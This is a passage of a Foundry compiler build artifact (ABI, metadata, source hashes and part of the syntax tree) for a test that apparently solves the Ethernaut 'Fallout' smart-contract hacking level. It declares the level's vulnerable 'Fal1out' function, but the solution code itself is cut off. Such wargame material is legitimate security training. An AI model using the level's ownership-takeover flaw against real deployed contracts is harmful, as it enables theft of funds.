"name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Fallout.t.sol":"TestFallout"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Fallout.t.sol":{"keccak256":"0x32cd06c5eaab7cd2ef1ee5908b18857eb670a45fcf9d969e7e9cd178fedb4ab6","urls":["bzz-raw://e2f8cd4d253d889995bcc958d1985b6842b86fcd3e01173966e4bbe7e0ee6965","dweb:/ipfs/QmWuZGScN24R23cNrtBsJFr5ws5ugVhWP4eUfArkixU1r2"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Fallout.t.sol","id":61005,"exportedSymbols":{"DummyFactory":[52145],"Ethernaut":[49101],"Fallout":[60839],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestFallout":[61004],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1860:130","nodes":[{"id":60826,"nodeType":"PragmaDirective","src":"32:23:130","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":60827,"nodeType":"ImportDirective","src":"57:28:130","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":61005,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":60829,"nodeType":"ImportDirective","src":"86:43:130","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":61005,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":60828,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:130","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60831,"nodeType":"ImportDirective","src":"131:57:130","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":61005,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":60830,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"139:12:130","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60833,"nodeType":"ImportDirective","src":"189:48:130","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":61005,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":60832,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"197:5:130","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60835,"nodeType":"ImportDirective","src":"238:44:130","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":61005,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":60834,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"246:9:130","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60839,"nodeType":"ContractDefinition","src":"284:54:130","nodes":[{"id":60838,"nodeType":"FunctionDefinition","src":"308:28:130","nodes":[],"functionSelector":"6fab5ddf","implemented":false,"kind":"function","modifiers":[],"name":"Fal1out","nameLocation":"317:7:130","parameters":{"id":60836,"nodeType":"ParameterList","parameters":[],"src":"324:2:130"},"returnParameters":{"id":60837,"nodeType":"ParameterList","parameters":[],"src":"335:0:130"},"scope":60839,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Fallout","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[60839],"name":"Fallout","nameLocation":"294:7:130","scope":61005,"usedErrors":[],"usedEvents":[]},{"id":61004,"nodeType":"ContractDefinition","src":"340:1551:130","nodes":[{"id":60846,"nodeType":"VariableDeclaration","src":"382:19:130","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"392:9:130","scope":61004,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":60845,"nodeType":"UserDefinedTypeName","pathNode":{"id":60844,"name":"Ethernaut","nameLocations":["382:9:130"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"382:9:130"},"referencedDeclaration":49101,"src":"382:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":60849,"nodeType":"VariableDeclaration","src":"407:16:130","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"415:8:130","scope":61004,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"},"typeName":{"id":60848,"nodeType":"UserDefinedTypeName","pathNode":{"id":60847,"name":"Fallout","nameLocations":["407:7:130"],"nodeType":"IdentifierPath","referencedDeclaration":60839,"src":"407:7:130"},"referencedDeclaration":60839,"src":"407:7:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}},"visibility":"internal"},{"id":60851,"nodeType":"VariableDeclaration","src":"430:21:130","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"446:5:130","scope":61004,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60850,"name":"address","nodeType":"ElementaryTypeName","src":"430:15:130","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60853,"nodeType":"VariableDeclaration","src":"457:22:130","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"473:6:130","scope":61004,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60852,"name":"address","nodeType":"ElementaryTypeName","src":"457:15:130","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60956,"nodeType":"FunctionDefinition","src":"666:612:130","nodes":[],"body":{"id":60955,"nodeType":"Block","src":"690:588:130","nodes":[],"statements":[{"assignments":[60858],"declarations":[{"constant":false,"id":60858,"mutability":"mutable","name":"users","nameLocation":"725:5:130","nodeType":"VariableDeclaration","scope":60955,"src":"700:30:130","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":60856,"name":"address","nodeType":"ElementaryTypeName","src":"700:15:130","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60857,"nodeType":"ArrayTypeName","src":"700:17:130","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":60862,"initialValue":{"arguments":[{"hexValue":"32","id":60860,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"745:1:130","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":60859,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"733:11:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":60861,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"733:14:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"700:47:130"},{"expression":{"id":60867,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60863,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60851,"src":"758:5:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60864,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60858,"src":"766:5:130","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60866,"indexExpression":{"hexValue":"30","id":60865,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"772:1:130","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 